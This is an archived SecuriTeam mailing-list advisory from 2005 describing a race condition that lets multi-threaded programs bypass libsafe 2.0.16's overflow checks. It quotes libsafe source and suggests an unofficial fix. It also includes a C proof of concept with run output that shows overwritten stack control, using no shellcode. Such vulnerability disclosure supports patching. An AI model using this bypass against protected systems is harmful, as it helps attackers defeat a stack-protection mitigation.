[UNIX] Libsafe Safety Check Bypass Vulnerability
From: SecuriTeam (support_at_securiteam.com)
Date: 04/25/05
- Previous message: SecuriTeam: "[UNIX] SNMPPd Format String Vulnerability"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 25 Apr 2005 18:26:14 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Libsafe Safety Check Bypass Vulnerability
------------------------------------------------------------------------
SUMMARY
<http://www.research.avayalabs.com/project/libsafe/> Libsafe is "a
library that protect critical elements of stacks". Due to a bug in libsafe
attackers can bypass libsafe checking and exploit a vulnerability
contained inside libsafe protected multi-threaded application.
DETAILS
Vulnerable Systems:
* libsafe version 2.0.16
As a example look at the code situated at the safe function strcpy():
char *strcpy(char *dest, const char *src)
{
...
if (!real_strcpy)
real_strcpy = (strcpy_t) getLibraryFunction("strcpy");
...
if ((max_size = _libsafe_stackVariableP(dest)) == 0) {
LOG(5, "strcpy(<heap var> , <src>)\n");
return real_strcpy(dest, src);
}
...
if ((len = strnlen(src, max_size)) == max_size)
_libsafe_die("Overflow caused by strcpy()");
...
Function _libsafe_stackVariableP() checked length beetwen buffor and stack
frame. It should return 0 only in case when address does not point to a
stack variable. Look at the function code:
uint _libsafe_stackVariableP(void *addr) {
...
/*
* If _libsafe_die() has been called, then we don't need to do anymore
* libsafe checking.
*/
if (dying)
return 0;
...
Function _libsafe_die() is called then attack is detected, variable
"dying" is set and at least aplication is killed. In case of
multi-threaded programs, it is possible to make attack before the end of
_libsafe_die(), during the time while checking is not active.
Unoffical Fix:
Probably the code from function _libsafe_stackVariableP can be only
deleted:
if (dying)
return 0;
Proof of Concept:
#include <pthread.h>
#include <stdio.h>
int ok = 0;
void *func1(void *none)
{
char buf[8];
while(1)
{
if(!ok)
continue;
strcpy(buf, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
break;
}
puts("func1 overflow!");
}
void *func2(void *none)
{
char buf[8];
ok = 1;
strcpy(buf, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
puts("func2 overflow!!");
}
int main()
{
pthread_t t1, t2;
pthread_create(&t1, NULL, &func1, NULL);
pthread_create(&t2, NULL, &func2, NULL);
pthread_join(t1, NULL);
pthread_join(t2, NULL);
return 0;
}
To compile use the following line:
bash-2.05b$ gcc -o thread thread.c -pthread
Normal state is:
bash-2.05b$ ./thread
Libsafe version 2.0.16
Detected an attempt to write across stack boundary.
Terminating /home/thread.
uid=500 euid=500 pid=9235
Call stack:
0x40019b1c /lib/libsafe.so.2.0.16
0x40019c4b /lib/libsafe.so.2.0.16
0x80484f5 /home/thread
0x4002dc43 /lib/tls/libpthread-2.3.3.so
Overflow caused by strcpy()
Killed
But then we run program several times:
bash-2.05b$ ./thread
Libsafe version 2.0.16
Detected an attempt to write across stack boundary.
Terminating /home/thread.
uid=500 euid=500 pid=9217
func1 overflow!
Call stack:
0x40019b1c /lib/libsafe.so.2.0.16
0x40019c4b /lib/libsafe.so.2.0.16
0x80484f5 /home/thread
0x4002dc43 /lib/tls/libpthread-2.3.3.so
Overflow caused by strcpy()
Segmentation fault (core dumped)
or ...
bash-2.05b$ ./thread
func1 overflow!
Segmentation fault (core dumped)
Core:
bash-2.05b$ gdb thread core.9254
..
#0 0x41414141 in ?? ()
(gdb)
ADDITIONAL INFORMATION
The information has been provided by <mailto:adv@overflow.pl>
Overflow.pl.
The original article can be found at:
<http://www.overflow.pl/adv/libsafebypass.txt>
http://www.overflow.pl/adv/libsafebypass.txt
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[UNIX] SNMPPd Format String Vulnerability"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|
